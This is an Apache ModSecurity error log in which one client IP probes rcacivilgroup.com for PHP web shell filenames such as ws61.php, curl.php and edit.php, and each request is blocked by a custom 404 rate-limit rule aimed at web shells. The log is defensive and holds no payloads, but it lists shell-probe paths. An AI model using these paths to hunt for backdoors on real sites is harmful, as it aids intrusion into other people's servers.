[Sat Apr 18 05:08:00.793965 2026] [:error] [pid 9865:tid 9952] [client 172.213.226.43:7057] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws57.php"] [unique_id "aeKhMKzb5knECIY-C-iO3AAAAI8"]
[Sat Apr 18 05:08:01.514920 2026] [:error] [pid 9970:tid 9975] [client 172.213.226.43:7054] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws61.php"] [unique_id "aeKhMSYdRLRhVmaIMx2mpAAAAME"]
[Sat Apr 18 05:08:02.495670 2026] [:error] [pid 9970:tid 9996] [client 172.213.226.43:6964] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws61.php"] [unique_id "aeKhMiYdRLRhVmaIMx2mqAAAANY"]
[Sat Apr 18 05:08:03.642909 2026] [:error] [pid 9864:tid 9929] [client 172.213.226.43:7099] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws61.php"] [unique_id "aeKhM4CFeowknfXHM7kkCQAAAFc"]
[Sat Apr 18 05:08:04.463871 2026] [:error] [pid 9970:tid 9995] [client 172.213.226.43:7111] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws61.php"] [unique_id "aeKhNCYdRLRhVmaIMx2mrAAAANU"]
[Sat Apr 18 05:08:06.020964 2026] [:error] [pid 9864:tid 9905] [client 172.213.226.43:6991] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws66.php"] [unique_id "aeKhNoCFeowknfXHM7kkFgAAAEA"]
[Sat Apr 18 05:08:06.901810 2026] [:error] [pid 9863:tid 9886] [client 172.213.226.43:7063] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws66.php"] [unique_id "aeKhNjjjiypiFrTucbL-DAAAAA0"]
[Sat Apr 18 05:08:10.780198 2026] [:error] [pid 9970:tid 9974] [client 172.213.226.43:7109] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws66.php"] [unique_id "aeKhOiYdRLRhVmaIMx2mtgAAAMA"]
[Sat Apr 18 05:08:28.748351 2026] [:error] [pid 9865:tid 9960] [client 172.213.226.43:7128] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "aeKhTKzb5knECIY-C-iPBwAAAJc"]
[Sat Apr 18 05:08:30.495472 2026] [:error] [pid 9864:tid 9924] [client 172.213.226.43:6953] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "aeKhToCFeowknfXHM7kkLgAAAFI"]
[Sat Apr 18 05:08:32.225339 2026] [:error] [pid 9864:tid 9920] [client 172.213.226.43:7130] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "aeKhUICFeowknfXHM7kkMwAAAE4"]
[Sat Apr 18 05:08:33.276302 2026] [:error] [pid 9865:tid 9953] [client 172.213.226.43:7129] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "aeKhUazb5knECIY-C-iPDAAAAJA"]
[Sat Apr 18 05:08:36.384313 2026] [:error] [pid 9970:tid 9998] [client 172.213.226.43:6949] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "aeKhVCYdRLRhVmaIMx2m9AAAANg"]
[Sat Apr 18 05:08:38.936754 2026] [:error] [pid 9864:tid 9914] [client 172.213.226.43:7144] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "aeKhVoCFeowknfXHM7kkPgAAAEg"]
[Sat Apr 18 05:08:39.936680 2026] [:error] [pid 9865:tid 9961] [client 172.213.226.43:7051] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "aeKhV6zb5knECIY-C-iPFQAAAJg"]
[Sat Apr 18 05:08:41.773763 2026] [:error] [pid 9970:tid 9979] [client 172.213.226.43:7056] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "aeKhWSYdRLRhVmaIMx2nAgAAAMU"]
[Sat Apr 18 05:08:42.681341 2026] [:error] [pid 9865:tid 9956] [client 172.213.226.43:7131] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-class.php"] [unique_id "aeKhWqzb5knECIY-C-iPHQAAAJM"]
[Sat Apr 18 05:08:47.029123 2026] [:error] [pid 9970:tid 9990] [client 172.213.226.43:7070] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-class.php"] [unique_id "aeKhXyYdRLRhVmaIMx2nFAAAANA"]
[Sat Apr 18 05:08:48.381120 2026] [:error] [pid 9970:tid 9986] [client 172.213.226.43:6986] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-class.php"] [unique_id "aeKhYCYdRLRhVmaIMx2nGwAAAMw"]
[Sat Apr 18 05:08:49.716996 2026] [:error] [pid 9864:tid 9923] [client 172.213.226.43:7118] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-class.php"] [unique_id "aeKhYYCFeowknfXHM7kkVAAAAFE"]
[Sat Apr 18 05:08:51.388606 2026] [:error] [pid 9970:tid 9974] [client 172.213.226.43:7005] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cilus.php"] [unique_id "aeKhYyYdRLRhVmaIMx2nKwAAAMA"]
[Sat Apr 18 05:08:52.485396 2026] [:error] [pid 9970:tid 9975] [client 172.213.226.43:7126] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cilus.php"] [unique_id "aeKhZCYdRLRhVmaIMx2nLgAAAME"]
[Sat Apr 18 05:08:55.229768 2026] [:error] [pid 9863:tid 9883] [client 172.213.226.43:6895] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cilus.php"] [unique_id "aeKhZzjjiypiFrTucbL-LgAAAAo"]
[Sat Apr 18 05:08:57.215526 2026] [:error] [pid 9863:tid 9895] [client 172.213.226.43:7103] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cilus.php"] [unique_id "aeKhaTjjiypiFrTucbL-MAAAABY"]
[Sat Apr 18 05:08:58.399174 2026] [:error] [pid 9970:tid 9985] [client 172.213.226.43:7038] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d.php"] [unique_id "aeKhaiYdRLRhVmaIMx2nNwAAAMs"]
[Sat Apr 18 05:08:59.971798 2026] [:error] [pid 9970:tid 9974] [client 172.213.226.43:7165] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d.php"] [unique_id "aeKhayYdRLRhVmaIMx2nPQAAAMA"]
[Sat Apr 18 05:09:00.931646 2026] [:error] [pid 9863:tid 9875] [client 172.213.226.43:7112] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d.php"] [unique_id "aeKhbDjjiypiFrTucbL-MQAAAAI"]
[Sat Apr 18 05:09:01.898223 2026] [:error] [pid 9863:tid 9889] [client 172.213.226.43:7062] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d.php"] [unique_id "aeKhbTjjiypiFrTucbL-MgAAABA"]
[Sat Apr 18 05:09:03.913471 2026] [:error] [pid 9865:tid 9937] [client 172.213.226.43:6922] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error_log.php"] [unique_id "aeKhb6zb5knECIY-C-iPRQAAAIA"]
[Sat Apr 18 05:09:05.003467 2026] [:error] [pid 9970:tid 9987] [client 172.213.226.43:7095] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error_log.php"] [unique_id "aeKhcSYdRLRhVmaIMx2nSgAAAM0"]
[Sat Apr 18 05:09:06.194018 2026] [:error] [pid 9970:tid 9986] [client 172.213.226.43:7066] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error_log.php"] [unique_id "aeKhciYdRLRhVmaIMx2nUAAAAMw"]
[Sat Apr 18 05:09:07.001986 2026] [:error] [pid 9970:tid 9991] [client 172.213.226.43:6974] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error_log.php"] [unique_id "aeKhcyYdRLRhVmaIMx2nVQAAANE"]
[Sat Apr 18 05:09:07.639949 2026] [:error] [pid 9864:tid 9922] [client 172.213.226.43:6848] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ov-Simple1.php"] [unique_id "aeKhc4CFeowknfXHM7kkZQAAAFA"]
[Sat Apr 18 05:09:08.743981 2026] [:error] [pid 9970:tid 9987] [client 172.213.226.43:6916] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ov-Simple1.php"] [unique_id "aeKhdCYdRLRhVmaIMx2nWwAAAM0"]
[Sat Apr 18 05:09:09.721467 2026] [:error] [pid 9864:tid 9929] [client 172.213.226.43:7084] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ov-Simple1.php"] [unique_id "aeKhdYCFeowknfXHM7kkZwAAAFc"]
[Sat Apr 18 05:09:11.395440 2026] [:error] [pid 9970:tid 9982] [client 172.213.226.43:7094] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ov-Simple1.php"] [unique_id "aeKhdyYdRLRhVmaIMx2nYwAAAMg"]
[Sat Apr 18 05:09:13.671774 2026] [:error] [pid 9865:tid 9959] [client 172.213.226.43:7140] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/curl.php"] [unique_id "aeKheazb5knECIY-C-iPWwAAAJY"]
[Sat Apr 18 05:09:15.414632 2026] [:error] [pid 9970:tid 9988] [client 172.213.226.43:6978] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/curl.php"] [unique_id "aeKheyYdRLRhVmaIMx2nbQAAAM4"]
[Sat Apr 18 05:09:16.328689 2026] [:error] [pid 9865:tid 9950] [client 172.213.226.43:7020] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/curl.php"] [unique_id "aeKhfKzb5knECIY-C-iPXwAAAI0"]
[Sat Apr 18 05:09:17.154823 2026] [:error] [pid 9864:tid 9914] [client 172.213.226.43:7060] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/curl.php"] [unique_id "aeKhfYCFeowknfXHM7kkbwAAAEg"]
[Sat Apr 18 05:09:18.078584 2026] [:error] [pid 9970:tid 9985] [client 172.213.226.43:7163] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sallu.php"] [unique_id "aeKhfiYdRLRhVmaIMx2ndgAAAMs"]
[Sat Apr 18 05:09:18.834749 2026] [:error] [pid 9970:tid 9988] [client 172.213.226.43:7137] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sallu.php"] [unique_id "aeKhfiYdRLRhVmaIMx2negAAAM4"]
[Sat Apr 18 05:09:19.416755 2026] [:error] [pid 9863:tid 9896] [client 172.213.226.43:7155] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sallu.php"] [unique_id "aeKhfzjjiypiFrTucbL-QQAAABc"]
[Sat Apr 18 05:09:20.126678 2026] [:error] [pid 9865:tid 9939] [client 172.213.226.43:7003] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sallu.php"] [unique_id "aeKhgKzb5knECIY-C-iPYQAAAII"]
[Sat Apr 18 05:09:20.855973 2026] [:error] [pid 9970:tid 9993] [client 172.213.226.43:6860] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "aeKhgCYdRLRhVmaIMx2ngAAAANM"]
[Sat Apr 18 05:09:21.876912 2026] [:error] [pid 9865:tid 9949] [client 172.213.226.43:7045] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "aeKhgazb5knECIY-C-iPZQAAAIw"]
[Sat Apr 18 05:09:22.449261 2026] [:error] [pid 9865:tid 9940] [client 172.213.226.43:6913] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "aeKhgqzb5knECIY-C-iPZgAAAIM"]
[Sat Apr 18 05:09:23.222814 2026] [:error] [pid 9865:tid 9958] [client 172.213.226.43:7148] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "aeKhg6zb5knECIY-C-iPaQAAAJU"]
[Sat Apr 18 05:09:24.010786 2026] [:error] [pid 9863:tid 9893] [client 172.213.226.43:7139] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "aeKhhDjjiypiFrTucbL-SAAAABQ"]
[Sat Apr 18 05:09:24.751512 2026] [:error] [pid 9970:tid 9987] [client 172.213.226.43:7088] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "aeKhhCYdRLRhVmaIMx2niQAAAM0"]
[Sat Apr 18 05:09:25.687176 2026] [:error] [pid 9970:tid 9997] [client 172.213.226.43:6977] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "aeKhhSYdRLRhVmaIMx2niwAAANc"]
[Sat Apr 18 05:09:26.609382 2026] [:error] [pid 9863:tid 9881] [client 172.213.226.43:6786] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "aeKhhjjjiypiFrTucbL-TAAAAAg"]
[Sat Apr 18 05:09:31.692121 2026] [:error] [pid 9865:tid 9942] [client 172.213.226.43:7143] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods_260401065719.php"] [unique_id "aeKhi6zb5knECIY-C-iPeAAAAIU"]
[Sat Apr 18 05:09:32.437156 2026] [:error] [pid 9865:tid 9957] [client 172.213.226.43:7055] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods_260401065719.php"] [unique_id "aeKhjKzb5knECIY-C-iPewAAAJQ"]
[Sat Apr 18 05:09:33.380008 2026] [:error] [pid 9970:tid 9976] [client 172.213.226.43:7120] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods_260401065719.php"] [unique_id "aeKhjSYdRLRhVmaIMx2nnQAAAMI"]
[Sat Apr 18 05:09:34.691733 2026] [:error] [pid 9864:tid 9916] [client 172.213.226.43:6958] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods_260401065719.php"] [unique_id "aeKhjoCFeowknfXHM7kkjAAAAEo"]
